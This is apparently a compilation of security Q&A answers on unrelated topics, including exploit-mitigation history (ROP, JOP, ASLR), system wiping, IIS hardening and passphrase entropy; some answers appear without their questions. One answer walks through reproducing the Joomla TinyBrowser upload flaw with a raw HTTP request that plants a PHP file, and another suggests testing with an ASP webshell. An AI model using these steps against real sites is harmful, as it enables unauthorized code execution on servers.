Concept of Jump-Oriented-Programming (JOP)

A lot of your questions are duplicates here so I'll cover them very briefly. Suffice to say that all of this has been a decades-long arms race between exploit developers and OS / compiler developers.

Initially there were no exploit protections. You could find a stack buffer overflow bug, use it to overwrite the current call frame's return address on the stack, wait for the exploited function to reach its end and return, thus gaining control over the instruction pointer (IP), which you could point back at instructions you put in the stack buffer as part of your exploit payload (shellcode), and thus execute arbitrary code.

Then there came stack cookies. These are randomly generated values that are placed just before the return pointer. At the end of each function (in the epilogue) the function would check that the cookie value was correct before returning. If you blindly overwrote a stack buffer to overwrite the return address you'd end up overwriting the stack cookie, which would then be checked at the end of the function and you wouldn't get code execution. To get around this, attackers instead started targeting exception handling structures (SEH) which typically appeared at the end of the stack frame but before the return pointer. By overwriting the SEH structures you could trick the OS into executing an exception handler at an address you controlled, again usually the stack buffer you overwrote with shellcode.

To fix this, OS developers took a couple of approaches. One was SafeSEH, which maintains a read-only table of valid exception handler addresses in a table as part of the executable structure, and verifies that the exception handler address is one of the ones in that table before redirecting control flow to it. On x86-64 Windows systems the stack is no longer used at all for storing SEH structures, which mitigates this attack completely, but I'm getting ahead of myself a bit here.

In the meantime some enterprising exploit developers had started to look into heap (i.e. dynamic memory that isn't the stack) buffer overflows and what could be done with those. Heap buffer overflows sometimes allow you to overwrite pointers (e.g. to event handlers, callbacks, etc.) that led to control over the instruction pointer and thus code execution. Again the attackers would usually put their shellcode in the same buffer they were overflowing.

The other approach I mentioned above was Data Execution Prevention (DEP). This is a bit of a confusing one because in the early days Microsoft called SafeSEH "Software DEP" despite not really being DEP at all. So if you see "software DEP" written somewhere, they mean SafeSEH. Hardware DEP, usually just called DEP these days, is a feature built around a hardware extension that enforces page access flags in the processor. The feature is called NX (No Execute) by most people but it's also sometimes referred to XD (eXecute Disable); I'll just be calling it NX. What NX does is make it impossible for the processor to execute pages that have been marked as non-executable. If you try to redirect the instruction pointer to a non-executable page the processor just throws a protection fault. Operating systems used NX to implement DEP, which marks the stack and data segments as non-executable. This made it impossible to just drop shellcode into a stack or heap buffer and execute it there - those pages were now non-executable and the CPU would refuse to execute the code.

This is where ROP, otherwise known as ret2libc (a Linuxism for the same thing), came in. Instead of trying to put shellcode into the stack or heap and execute that, ROP instead found small chunks of library code that could be chained together in order to get code execution. The initial part of the exploit would gain control of the instruction pointer somehow (e.g. via heap corruption, UAF, etc.) and either fill the stack with the ROP chain data or overwrite the stack pointer so that it pointed at the heap buffer containing the ROP chain data (this is called stack pivoting). Either way, the stack pointer ends up pointing to the top of the ROP chain. Each "gadget" in the ROP chain is a small snippet of code in the format "do something, return". By putting the addresses of these gadgets one after another on the stack, the application jumps to the first gadget, executes a few instructions, hits a return instruction, which then reads the next gadget address off the stack and transfers execution to that, repeating until the end of the ROP chain. Usually the chain would call some function like exec on Linux or CreateProcess on Windows. Another way to go is to call the memory protection function for the OS (e.g. VirtualProtect on Windows) and use it to mark a section of memory that you control as executable, then have the last item in your ROP chain redirect to that memory so you can execute shellcode. Neat, right?

The key part of this attack is that you need to know where these gadgets are in memory. In order to make this difficult (or borderline impossible), OS vendors introduced Address Space Layout Randomisation (ASLR). This randomises the base addresses of various important bits of memory like the stack and executable modules. More and more stuff has been randomised and the randomisation has become less predictable as ASLR implementations have improved. The idea is that if the attacker can't know where modules are in memory for the target process, they can't build a ROP chain. Unfortunately, however, it only takes one non-ASLR module to be loaded in a process in order to break ASLR. In newer operating systems (e.g. fully patched Win10) you can configure a policy that forces ASLR for all modules, but this is not the default (as far as I know). ASLR can also be bypassed using a pointer leak. These occur when an address of some executable memory in a process is leaked to an attacker (e.g. by a UAF bug, or by poor API design). The attacker can then calculate the module base from that leaked pointer and use it to build a ROP chain.

JOP is extremely similar to ROP. It is useful when stack protections are in use, thus preventing stack buffer overwrites, stack pivoting, or return address filtering (a form of partial control flow enforcement). This allows heap-only exploitation via heap corruption, UAF, etc.

Instead of allocating a bunch of ROP gadget addresses on the stack and using a RET of the end of each gadget to jump to the next, JOP uses a jump table in the heap (identical to a ROP chain but with JOP gadgets instead) and a dispatcher. Each JOP gadget is a chunk of library code in the form "do something; indirect jump", e.g. add rcx, 4; jmp [rdi]. Instead of each gadget directly jumping to the next, like in ROP, each gadget instead jumps back to a "dispatcher" gadget.

For example, consider the following two instructions:

dispatch:
  add rax, 8
  jmp [rax]

This instruction pair (or a compatible one) should be fairly easy to find in library code somewhere. If an attacker can set rax to the address of their dispatch table (e.g. a heap buffer they've filled), and set the instruction pointer to the address of dispatch, then they can chain together JOP gadgets to gain code execution as follows:

Attacker loads dispatch table into known heap address.
Attacker exploits bug that sets rax, rdx, and rip so that rax points to the dispatch table allocated in step 1, rdx points to the dispatch table gadget as described above, and rip is also redirected to the dispatch table gadget.
The dispatch function increments rax, so rax now points to the next entry in the dispatch table.
The dispatch function jumps to the address at rax, which executes the gadget there.
The gadget does something and then ends with jmp [rdx]. This redirects control back to the dispatch gadget.
Go to step 3, repeat until chain is completed and exploit succeeds.

The registers here (rax and rdx) are just examples, they could be swapped for any general purpose register.

You can read a more full description of JOP in the paper "Jump-Oriented Programming: A New Class of Code-Reuse Attack".

In short, though, JOP is only really useful when the stack cannot be abused due to stack protections being in place.

JOP can be mitigated using control flow enforcement, such as Control Flow Guard (CFG). Protections such as CFG identify indirect call sites in the program and build a table of valid target addresses that they can point to. For example, if you have a callback in C++ defined as typedef void (*SomeCallback)(int, int); the compiler knows that only functions with that signature (e.g. void MyCallbackImplementation(int foo, int bar) { ... }) are valid targets. The compiler then inserts a check before each indirect jump instruction that ensures that the target jump address is valid. If not, it terminates the program.

One additional ROP/JOP trick is to use unaligned gadgets, i.e. gadgets that aren't made up of instructions as they were intended to be interpreted when the compiler generated them, but instead are valid instruction patterns that happen to appear when you jump in the middle of an instruction. These can also be mitigated to some extent by the compiler but I am unsure how commonplace this particular type of protection is.

Hopefully this gets you up to speed. I've glossed over some stuff as this answer is already very long and covers a lot of different anti-exploitation topics very quickly. Some details are missing so I suggest you try to bypass each protection yourself one by one so that you gain an appreciation for all the little nuances.


Good reading about windows architecture/reversing

Reversing: Secrets of Reverse Engineering (2005)
Disassembling Code: IDA Pro & SoftICE Book/CD Package: IDA Pro and SoftICE (2006)
Hacking: The Art of Exploitation Book/CD Package 2nd Edition (2007)
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code (2008)

Personally I really liked the Reversing: Secrets of..

A must read for any reverser is obviously AoA (Art of Assembly) which is free and can be downloaded.


How to calculate cryptographic checksum using 3DES-outer-CBC mode

3DES in outer CBC mode DES-EDE3-CBC (Page 6; here details in the application of ipsec/esp). Here's a code snippet for 3DES in outer CBC mode in a related application.

What you'll most likely have to do is to encrypt a message m using DES-EDE3-CBC and then throw away all but the last block of ciphertext (CBC-MAC). The iv is typically fixed at 0.


Step by step protocol for complete system wipe (suspecting persistent backdoor)

There is no one-size-fits-all protocol for this. It really depends on what kind of adversary you believe you are dealing with.
Either way, the first step is the same: don't panic, take a deep breath, and thoroughly consider your threat model, your options and goals. Do you really want to wipe the device? This can potentially destroy evidence that may be relevant in a future investigation. If you can afford it, you may want to isolate the device and have a professional perform forensics on your device to figure out what kind of backdoor you have and to preserve any evidence.
If this is not viable, the next question would be how thorough you want to be. There are more places than initially obvious where a backdoor can persist, although the more sophisticated ones are rather uncommon. This is where considering your threat model is really important. What kind of sophistication are you expecting? Is this some run-off-the-mill bootkit malware or are you facing a state-level actor (most people aren't the target of TAO attacks or the like, and if you think you are, but then there may be better places to get advice ;).
So let's go through some of the places where a backdoor might be installed, from least to most sophisticated (or well, likely to less likely):

Somewhere on your operating system, i.e. on your HD / SSD. This would be destroyed through a reinstallation of your OS. While you claim that a reinstallation does not remove your backdoor, it is still prudent to reinstall the operating system, as a more sophisticated backdoor may persist here too.
The boot loader. This depends a bit on whether you are using UEFI or a CSM / legacy BIOS bootloader. In both cases, the boot loader is stored on your disk, but it could either be inside the EFI system partition or in the first few sectors of the disk (MBR). In either case, it could be removed by completely wiping the disk.
The BIOS / UEFI state, e.g. in UEFI variables or BIOS configuration. In either case, this is stored in a small flash chip or EEPROM on your mainboard. How this is completely cleared depends on your hardware - this could be as easy as removing a CMOS battery or could require clipping a cable to a chip on your mainboard.
The BIOS / UEFI firmware, ME or other CPU / Mainboard firmware. Whether this can get cleared by a firmware reflash depends on the device - if you can't trust your computer to power up though, the only safe bet may be to connect a programming cable to the respective flash chips.
Other peripheral firmware, e.g. the hard-drive or SSD controllers or network card firmware. Many peripherals have small CPUs on them that can be reprogrammed, and whether or how these can be restored again depends on your device. PCI devices can have so-called boot ROMs that get executed on the main CPU prior to system boot, and could backdoor later boot stages. How these get programmed again depends on the device in question.
Potential hardware modifications - these may be very hard to spot and difficult to get rid of.

When wiping the disk, consider that you may not want to do this using the possibly compromised device. You may want to remove the disk, and attach it to a second computer without mounting it, and then overwriting it e.g. using dd. If your device is an SSD with Secure Erase capabilities, you can also use those. This should remove any persistent malware on the disk, but not necessarily more sophisticated backdoors on the disk controller or other firmware.
Finally, the most paranoid option is to consider the device burned, power it off and don't use it anymore - although this is probably not within everyday joe's threat model.


IIS - giving service accounts admin rights?

That sounds super sketchy man. The policy is right... Sounds like an app I'd like to deploy and test my pentesting skills on. :)

I'd go with the policy and push on the devs to provide a standard hardening guide to the minimum rights possible to avoid vulnerabilities to your host and ultimately your entire network if the host is compromised. Weak vulnerabilities in a web application could allow a hacker to generate shell to run commands on your host, gain a foothold in your network, and begin attacks within your network...

I would probably test it in a dev lab server... keep tweaking and hardening with basic user rights. Then keep hardening until the application breaks. Once hardened, you should only use a non-domain admin account on the box. Most importantly with a non-domain user, it should be a very complex, non-dictionary word, and at least 14-character password that's only used for that account. Avoid credential recycling.

Then when you login as the admin after all domain creds have been cleared and the box has been hardened, if the a local admin account is obtained thru privilege escalation attacks, it will slow the threat actor mildly by not being able to immediately pivot to another host. The attacker has to start backover at ground-0 on the pivot. Your security operations should catch them by then if they're monitoring for commands that shouldn't normally be running outside of a scheduled change window. It's not a lot of time, but enough to detect the service accounts abnormal behaviors of running various commands it wouldn't normally.

If you're just looking for a basic set of instructions on how to start basic hardening work in Windows. You may want to take a deep-dive and experiment with an Isolated Dev box for Windows until you have your hardening down. Just setup IIS with a basic "Web shell" and lock it down until your web shell is almost useless. You can google "ASP Webshell" and it will give you some code to test in IIS. Then remove the webshell from the system entirely! <- very important for obvious reasons!

Keep tuning your hardening until you're ready to make your production setup run and make sure you take lots of notes. I'm sure there are guides out there and MSDN has a lot of resources to assist.

IIS Service Accounts MSDN Link
IIS Application Pool Identities MSDN Link
CIS IIS Hardening Benchmarks CIS Security Link

Basic overview of what you'll be doing... this is mostly ran off of memory of essential basics, please check out hardening guides from CIS for more fine-grained policy recommendations.

Create a functional account
Remove User rights to that account
Preferably on-board that account into a password solution like CyberArk
Create a security group for "Run as a Service" rights
Open SecPol and remove all rights to Run as a Service except your new security group
Add that functional account to that security group
Restrict that security group from a lot of basic user functions other than minimum requirements
Configure IIS and the Application Pool services to run on these restricted accounts and never trust the app to run with "network services" because an attacker could potentially use "Network Services" to reconfigure a Service and elevate to "System" level privileges if is successful.
Ensure that this system is not trusted or a delegate for any AD Privileges.
Harden the file system from that service account and only allow it access to the minimum amount of data required to operate. (.Net Libraries as needed, IIS logging, etc.)


Likely not.  That is a whitelist regex (the ^ is a not) which replaces anything that isn't literally a-z or 0-9 or underscore or period with nothing - it removes it.

That is actually the recommended way to do that if you can - by being so restrictive on what is allowed, they eliminate control characters, slashes, escaping (% or &), everything that might break it.

Best you can do that I can see is '..', which might cause it to open the parent directory and provide some info for you, but probably not.


Access tokens should be refreshed frequently in general.

With traditional sessions, everytime a user makes a request to your app and sends his sessionId via cookie or http-header, you check the session if it is still valid (get the session by its id from the database or memory and check if the "active"-column is "true"). In addition, you can invalidate the session on your server everytime you want (set the "active"-column of this particular session to "false"). For example when the users account gets compromised, you can invalidate all active sessions associated to this specific user.

With access tokens, this can't be done this way, because you don't have a session on the server. The server just gets the access token, checks its signature and the expiration date, and thats it. Lets assume your access token has an expiration time of 24 hours. When an active user gets compromised, you are not able to invalidate his "sessions", because there are none. There are just a bunch of access tokens in the wild which where issued for this user (at a time when the users account was not compromised yet). So you have an app with an compromised user and a number of valid access tokens associated with this particular user wich are valid for the next 24 hours - good luck! I'm curious about how far the hacker gets in this 24 hours.

So what you typically want to do is refresh the token frequently. How to implement this in detail depends heavily on your use case and can't be answered in a general manner. Maybe you can check out the OAuth2 protocol which introcudes the refresh token. In short, a refresh token can issue new access token for a specific user. That way, you can achive short expiration times for your access token without annoying the user with a re-authentication process.

For your specific case, I would say that you can't handle the "event" when a user has changed his password. A user issues an access token - at this moment, the token gets created and is valid until the expiration time has come. What happens until this moment doesn't matter.


How to decrypt a microSD card after a factory reset of the device used to encrypt it?

Hope you didn't format your sd card yet.
I did the same thing with my S7 edge but managed to fix the problem.
Headphone jack stopped working so Samsung support recommended a factory reset to rule out software problem.
After backing up with the smart switch program and factory reset were performed, the files on the sd card couldn't be read properly.
The file names/folder structure were all there but when you tried to view an image or read text nothing was readable (the files were the same size as before the reset).
Here's what I did:

On a PC: Copy (the encrypted and unreadable) contents of the sd card from the phone to your harddrive
On the phone: Settings -> Storage -> Sd Card -> Format sd card (this erases all the data on the sd card but don't worry you have a copy on the PC)
On the phone: Settings -> Security -> Encrypt sd Card (should be real fast since it's an empty sd card)
On the PC: Copy the contents of the sd card onto the phone
On the phone: Settings -> Security -> Decrypt sd card (edit: this may take a while depending on how much data was on the card)

After that I was able to view all the files I had on the sd card!


Bruteforce decrypt xml file without knowing file content?

If you know the file truly contains an encrypted XML document, check the first decoded block for the existence of an XML prolog string:  <?xml version="1.0" encoding="UTF-8"?>.  (Version and encodings vary, of course.)  At least look at the first five characters for the <?xml marker.

Of course, the prolog is optional, so it might not be present at all.  It would help if you could see a decrypted file to know for sure what kind of crib to expect.  Alternately, you could look at the destination application to see if you can learn what the schema is that it's expecting; then expand your first-block searching to include looking for the expected root node of the schema.

You won't get many false positives that decrypt the first five bytes to <?xml by coincidence.  Anything you recover that much of, you can afford to evaluate the rest of the results by eyeball.


Very odd that the attacks came from secureserver.net Being a previous customer of GoDaddy in the past I have only seen that domain name used for mail services. Reference: https://login.secureserver.net/?app=wbe I would preform a whois on the offending ip and report the issue to tech support/abuse consultant. This information is located in the whois report. If no response then take your complaint to a black list service provider and you will get a response.

Before using any of the methods above I would use this form to submit a complaint.

https://supportcenter.godaddy.com/AbuseReport/Index?ci=


Can a program change the shortcut location of a browser to itself without UAC (Admin) in Windows?

The scenario you have described could possibly work. May not happen in the exact way that you depicted. .desktop files can sit in any location of the victim computer .

NOTE: It needs UAC to get inside a protected location.

Anyway it needs to be executed to starts its actual work. In case of windows just a double click (an execute command in case of Linux).

It can possibly impersonate/imitate any of the program that you recently used or a familiar software in your system.

When the user tries executing/clicking the impersonated file, it asks for UAC as you said. (This is highly detectable by this particular character). If given access then yes you are a successful victim and your computer is compromised.

However removing the .desktop files are not that difficult. Here's a good read about the .desktop files.


How do I get the thumbprint of an SSH2 public key on windows?

It looks like you made your key with the PuTTY Key Generator (PuTTYgen).  To get the OpenSSH pubkey format, edit it with PuTTYgen (right click on the .ppk file and click on "edit").

At the top of the window, you'll see the "Public key for pasting into OpenSSH authorized_keys file" text box.  The text should start with ssh-rsa AAA (assuming an RSA key).  Copy that text and save it as your public key.  This is what you need.  You'll also find your key fingerprint in here.

Here's a screen shot of what I'm describing:


Including GPG Transition statement as a signing policy

If you are signing a link to your transition statement, then the location where people go to look for it is fixed, but there's nothing preventing you or an attacker from changing the text of the transition statement at some point in the future. You really need to sign the transition statement text with the old key, not just the location of the statement.

Assuming you're doing that already and embedding the link is just to help people find it, then sure, why not.


Security related code in Open Source projects?

This is called "security through obscurity", which is generally considered to be a bad security model for most (if not all) purposes.

There are two main terms focusing upon this concept:

Kerckhoff's principle:

  A cryptosystem should be secure even if everything about the system, except the key, is public knowledge.

Claude Shannon reformulated this later, in more generic terms, as Shannon's maxim:

  The enemy knows the system.

The point is that security should come from solid security concepts, rather than trying to hide information and algorithms. Cryptographically strong operations ensure security, whereas private code only ensures obscurity.


How to Estimate the Value of GIAC certification to future career growth and earnings?

A quick way to estimate the value of any certification is to search for it in job requirements across websites where jobs are posted.

This can show you two things:

The current demand for any given certification.
A potential estimate on what jobs pay for people holding such a certification.

That said, something very specific to the certification you are asking about is if this is your first GIAC certification you'll also want to look into the jobs which require some form of GIAC certification but may not specifically list the one you have.

Finally, keep in mind that the certification itself does not directly relate to career growth unless you are leveraging it to do so by changing jobs or landing additional contracts, etc. There are lots of ways certifications can help but the value of any given certification will be unique to the person who earned it. Likewise, certifications may be of more value to contractors than to full-time employees because they will leverage it more often.

The benefits of most certifications are usually worthwhile because they can open more opportunities but at the same time they are indirect and hard to measure.

I also want to quickly point out that certifications are not the only way to do this. If you write cool software and post it on github or do any number of interesting projects you can leverage these in a similar manner and include them on your resume to put you ahead of your competition. In this respect certifications are mainly useful when working with recruiters that are looking to match minimum requirements.


Security of o=rwx with classical Unix permissions

This is not directly insecure, as long as these files and directories have the same owner than the parent directory, that there is no hard-link allowing to bypass the parent directory permissions and that there is no exception put on the parent directory permissions (like some ACL for instance).

However, I would still classify this as not prudent and not clean, as this is playing with fire. At some point in the future, most probably because of an unrelated modification linked to an unrelated software or project, the above conditions will not be met anymore opening wide the security vulnerability (and thanks to Murphy's law you can assume this will happen at the worst moment).

When writing software, you must never write unsecure code based on the assumption that it will remain protected by outer protection layers and therefore never be exploitable because being "out-of-reach". Security must be conceived as a whole where every component has to play its role to ensure a good general security posture.

So, my answer is:

For some occasional tests, most chances are this is fine and there will be no problem with this,
For some real development, please don't do this and use proper rights!


How to enable OCSP stapling on my FTPS server. Is it even possible with vsftpd?

Is it even possible with vsftpd or not?

After looking at the documentation there is no way to configure OCSP stapling support in vsvftpd.

  Even if possible, would it be wise on an FTPS server? Isn't that only a web-thing?

OCSP stapling serves the OCSP response inside the TLS handshake. This makes sense for FTP too since this way the FTP client does not need to do an extra OCSP lookup (which costs performance and is more privacy-invasive). But, if any relevant FTP clients to an OCSP lookup in the first place is unknown to me, at least in the past many did even do proper certificate validations like validating the hostname.


Trying to reproduce a file upload compromise on Joomla

For this module in Metasploit (exploit/unix/webapp/joomla_tinybrowser), you'll need to target the endpoint from which the Joomla site is accessible, in this case the Apache server. You can set the Apache server's IP for the RHOST option, and then the required hostname for the VHOST option. VHOST essentially populates the Host HTTP header which will probably allow the attack to reach the "Joomla server".

Cross-Site Request Forgery (CSRF/XSRF) and ClickJacking are unlikely to be related, although they could potentially be leveraged to entice a user into performing actions they didn't intend. That doesn't eliminate the possibility that an admin could be tricked into uploading a malicious shell him/herself, although its not an attack vector I have personally seen.

If the Metasploit module doesn't work, you could try it manually as you say. I wouldn't expect it to be too difficult. I couldn't find detailed technical detail regarding this one after a cursory glance, but I would advise researching around the flaw's CVE identifier (CVE-2011-4908), and/or picking apart some of the public exploits.

This looks to me like the original advisory: http://yehg.net/lab/pr0js/advisories/tinybrowser_1416_multiple_vulnerabilities

Edit: Manual Reproduction

You can potentially use the source from the Metasploit module to understand what you would need to do to exploit (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/joomla_tinybrowser.rb). I have had a go at this below, although these steps are untested so may need some tweaking have been tested against a fresh install of Joomla 1.5.12.

Example assumes http://www.example.com/ with the Joomla instance at /JOOMLA/.

Get an obfuscation code, required to upload files. Send a request to http://www.example.com/JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder=. The response should contain some kind of obfuscation code that you will need to copy.

The obfuscation code is returned as a Javascript variable and should look something line this:
so.addVariable("obfus", "a5a9ee6679580855adcc39ab00000000");
Then we need to send something like this to upload a malicious script. Insert the retrieved obfuscation code:

POST /JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_file.php?folder=/JOOMLA/images/stories/&type=file&feid=&obfuscate=%OBFUSCATIONCODE%&sessidpass= HTTP/1.1
Host: www.example.com
Content-Type: multipart/form-data; boundary=abcdef
Content-length: 250

--abcdef
Content-Disposition: form-data; name="Filename"

evil.ph.p
--abcdef
Content-Disposition: form-data; name="Filedata"; filename="evil.ph.p"
Content-Type: application/octet-stream

<?php echo("I've just executed PHP code!"); ?>
--abcdef--

Process the uploaded file. Send a request to: http://www.example.com/JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_process.php?folder=/JOOMLA/images/stories/&type=file&feid=&filetotal=1

n.b. I get an error back, but it still works so not sure if this step is required or not.
Then, rename the file. Browse to http://www.example.com/JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/edit.php?type=image&folder= in your favourite browser. Select 'Rename' from the drop-down and remove the . from the end of the evil filename (i.e. evil.ph. > evil.ph). Click 'Rename Files' and you should see the evil file disappear.
Your proof of concept should be at http://www.example.com/JOOMLA/images/stories/evil.php if the above worked correctly.


Is there any way to find all the endpoints for any website for sql injection?

There are quite a few tools out there that can help find vulnerabilities, such as SQL injection points - none of these will find all of them.

Blackbox testing - This is described by Vipul in his answer and involves testing / fuzzing the interfaces exposed in the application (UIs, Services...).  These are closer to how an attacker might look at the system, but are limited by how much attack surface they can cover.  Examples

Whitebox testing  - These analyze the code (Source Code Analyzers), classes, or binaries to do code or data traces.  These look at all the code at once, but often don't understand attack surface or mitigations out of the box.  Think of these as code review on steroids Examples

There are also tools which combine these two techniques and attempt to look at the code as it's being exercised at runtime.


what is the best keylogger for security uses?

There is a handy tool called prey that allows you to track your devices (laptops, tablets and smartphones) and reports back to you.  If your device becomes missing you tell prey and it jumps into action.  The device begins trying to 'phone home' and will report its IP and geolocation information.  In the case of smartphones or laptops with built-in gps it reports that data as well.  Laptops report Wifi access points in the vicinity and reports those to calculate the location of the device.   When prey is running on a laptop with a built in webcam it even takes  pictures of the person using the device.  Prey does not come with a keystroke logger however it is open source and one could be built into the code or you could add another key logging solution if you really want to see what is being typed however I would think the location functionality is really more important than seeing what a thief is searching for on your pc.


Determining if software installed onto vm is malware or not

Such methods may prove extremely difficult.
The virtualization process involves slicing/dicing data elements inside of the guest, making them very difficult for a an anti-malware tool to recognize. Consider two areas that anti-malware tools heavily scrutinize to find malicious code: memory and file systems.
Let's consider a non-virtual machine first.
It's important to note that even non-virtual machines have virtual memory. Most modern operating systems have a virtual memory system that breaks up data inside the machine; these parts are called memory structures. Using several tables, the virtual memory is then mapped to physical hardware storage addresses. The memory structures make each program on the machine believe that there is an enormous amount of memory, even though physical RAM is actually limited. Most modern operating systems support virtual memory by swapping data between RAM and the hard disk or other high-volume storage devices.
In a virtual machine environment, the guest has its own virtual memory system, as well as its own tables that map various applications' view of memory to physical memory. But the physical memory of the guest machine is actually inside the virtual memory of the host machine, which is mapped into the physical memory underlying the host.
With all of the indirection here, it's no wonder that it's hard for an anti-malware tool to see inside the host and figure out what's going on inside the virtual workstation. To scan the virtual system's memory for malware, the host anti-malware tool would have to read and discern all of the virtual memory tables of the guest in real time. You might be thinking, "But it would just have to look for a few thousand strings in contiguous spaces in memory, right?" Not exactly. From the host's perspective, the strings to search for may not be contiguous at all since the guest's virtual memory system has been sliced and diced.
A similar issue happens in the file system. In most virtual machine implementations, the guest's file system is merely a big file in the host machine. But all kinds of formatting information is stored within that file, and any malware files here are broken down into different pieces that are then distributed throughout.
To scan the host machine, the anti-malware scanner can rely on the operating system itself to group hard drive sectors into files. But, the anti-malware scanner doesn't have that luxury inside the guest, where the guest's own file system breaks things down into virtual sectors and does so inside that big file on the host's hard drive.
Now, creating an anti-malware tool that can run on a host and determine what's happening in the guest is theoretically possible and could be a very powerful tool in one's arsenal. Its architecture though would likely be different from many of today's anti-malware tools. Such a tool could implement its own code to discern a guest's virtual memory and file system. Alternatively, the tool could rely on software in the guest to do this unraveling; this would require hooks into the guest, however, and an extension of the anti-malware tool from the host into the guest itself.
Another option would involve a different kind of anti-malware tool that, instead of looking for a series of signatures, would look for other anomalies inside the guest. These anomalies can be more easily discerned from the host and wouldn't require a complete mapping of memory and the file system.
Such tools may exist in the future.
Original article link here


Can BitTorrent clients be fingerprinted?

Once it starts, a BitTorrent client generates a 20-byte identifier called peer_id, it consists of ClientIdentifierClientVersion-RandomNumbers. Granted, ClientIdentifier and ClientVersion don't provide any identification, but the RandomNumbers could be used to identify a client, and there are some things that needs to be understood:

The peer_id could be anything the clients wants so send. The protocol doesn't define how it should be generated, nor it defines how it should be structured.
The client gives its peer_id to whomever asks for it (it's part of the handshake).
Setting the no_peer_id flag allows for the communication to happen without needing to disclose the peer_id.
The peer_id is generated every time the clients is restarted. uTorrent 3.3 even generate a new peer_id while it's running from time to time.

However, BitTorrent's uses a DHT called Kademlia, which is a great news for security researches (AKA stalkers). A while ago, I've analyzed uTorrent and Transmission, they both use encryption for DHT/PEX (if enabled and forced).

When a client enters the DHT "network" it bootstraps by connecting to some bootstrap server. This usually happens the first time you run a new client. But that's not the only thing that happens when bootstrapping Kademlia.

When a client joins the network, it is given a randomly generated identifier called node ID. This node ID is randomly chosen from the same 160-bit space as the BitTorrent 'info hashes'. At any time, you can clear your DHT information and rejoin the network, which would give you a new identifier. Since not many users do that, you can relatively count on it as an identifier.

To get a client's node ID it's enough to send them a DHT ping message, and it will respond with its ID

{"t":"T_ID", "y":"q", "q":"ping", "a":{"id":"THE_SENDER_ID"}}

t is transaction ID, it identifies the message and is sent back with the response
y is the type of the message, and the value "q" means it's a query.
q is the is the type of the query, and here it's a ping query.
a represents the arguments of the query. Here it simply contains the sender's node ID.

A client would respond

Response = {"t":"T_ID", "y":"r", "r": {"id":"MY_ID"}}

the value "r" for y means that this is a response.

Those are mainly the two ways to identify a client provided by the protocol itself.


Simplifying SMIME by re-using the Public & Private key across email accounts

How to generate a CSR using an existing keypair depends largely on the software you are using. There is however technically speaking no reason it should not work. May I ask why you want to reuse the same keypair for all certificates?

With openssl you can specify which private key to use so if you generate a private key one and use the same private key for all CSR requests then all requests will use the same keypair.

openssl req -new -key privkey.pem

It might be that the CA however does not allow keypairs to be reused. For example EJBCA has the option 'Enforce unique public keys' which only allows a key to be reused for the same person.

Whether or not you get into problems reusing a private key for different certificates depends on how you are going to use the certificates. Most (if not all) S/MIME clients search for the private key to decrypt with using the issuer/serial number pair. In other words, even though the private keys of the certificates are the same, you cannot decrypt the email with for example Outlook if you use the certificate of someone else (in principle it should be possible since the private key is the same, but since the serial number is different, Outlook won't find the correct certificate).

Security wise, it might not be the best decision to reuse the private key (if one certificate must be revoked you need to revoke them all). Whether or not it will work, depends on your use case.


Does google's reCAPTCHA mitigate DDoS attacks?

I'm not sure about this one.

Captcha helps against brute-force attacks, e.g. someone logging onto your forum to upvote their favorite anime character on a survey, but Captchas don't help against a network level attack, where an attacker with a botnet is just flooding your server with http/tcp requests, causing it to fall over.

In short, a network level DDOS isn't mitigated by captchas. But they can be used for when you want to limit bot-interaction to your APIs or website, to ensure only humans are accessing it. This limits the traffic pumped through your servers, and generally help with the volume.


Is Diceware more secure than a long passphrase?

Most people that use passphrases, use passphrases wrong.

The remark that Diceware is better probably comes from the fact that, when people use passphrases, they usually take a well-known or otherwise logically structured sentence and use that. "Mary had a little lamb" is a terrible passphrase because it is one of a few billion well-known phrases that a computer can run through in a short amount of time. I know this works pretty well because I tried it.

Diceware is just random words. It's as good as any other randomly generated set of words, assuming you use a good source of randomness: for Diceware, you should use dice, which is a reasonably good source. Digital password generators are usually also good, though homebrew implementations might use an insecure random generator by mistake.

We know that any random passphrase is good because it's basic math. There are two properties to a passphrase:

Dictionary size
Number of words in the phrase

The 'randomness' of a passphrase is simple to calculate: dictionary_size ^ words_in_phrase, where ^ is exponentiation. A passphrase of 3 words with a dictionary of 8000 words is 8000^3= 512 billion possible phrases. So an attacker, when guessing the phrase, would have to try 256 billion phrases (on average) before s/he gets it right. To compare with a password of similar strength: a random password using 7 characters, consisting of a-z and A-Z, has a "dictionary size" of 52 (26 + 26) and a "number of words" of 7, making 52^7= ~1028 billion possible passwords. It is well-known that 7 characters is pretty insecure, even when randomly generated.

For randomness, it's the more the better up until about 128 bits of entropy. A little more than that helps buffer against cryptographic weakenings of algorithms, but really, you don't want to memorize 128 bits of entropy anyway. Let's say we want to go for 80 bits of entropy, which is a good compromise for almost anything.

To convert "number of possible values" to "bits of entropy", we need to use this formula: log(n)/log(2), where n is the number of possible values. So if you have 26 possible values (1 letter), that would be log(26)/log(2)= ~4.7 bits of entropy. That makes sense because you need 5 bits to store a letter: the number 26 is 11010 in binary.

A dictionary of 8000 words needs about 7 words to get above the desired 80 bits:
log(8000^7)/log(2)= ~90.8 bits of entropy. Six words would be:
log(8000^6)/log(2)= ~77.8 bits of entropy.

A large dictionary helps a lot, compared to the relatively small Diceware dictionary of 7776 words. The Oxford English Dictionary has 600k words. With that many words, a phrase of four randomly chosen words is almost enough:
log(600 000^4)/log(2)= ~76.8 bits of entropy.

But at 600 thousand words, that includes very obscure and long words. A dictionary with words that you can reasonably remember might have a hundred thousand or so. Instead of the seven words that we need with Diceware, we need five words in our phrase when selecting randomly from a dictionary of 100k words:
log(100 000^5)/log(2)= ~83.0 bits of entropy.

Adding one more word to your phrase helps more than adding ten thousand words to your dictionary, so length beats complexity, but a good solution balances the two. Diceware seems a little small to me, but perhaps they tested with different sizes and found this to be a good balance. I am not a linguist :).

Just for comparison, a password (consisting of a-z, A-Z, and 0-9) needs 14 characters to reach the same strength: log(62^14)/log(2)= ~83.4 bits of entropy.


Has personal computing security gotten better or worse in recent years?

I would argue that computers are more secure today than they were in the past for one simple reason known attacks have had operating systems patched against them.

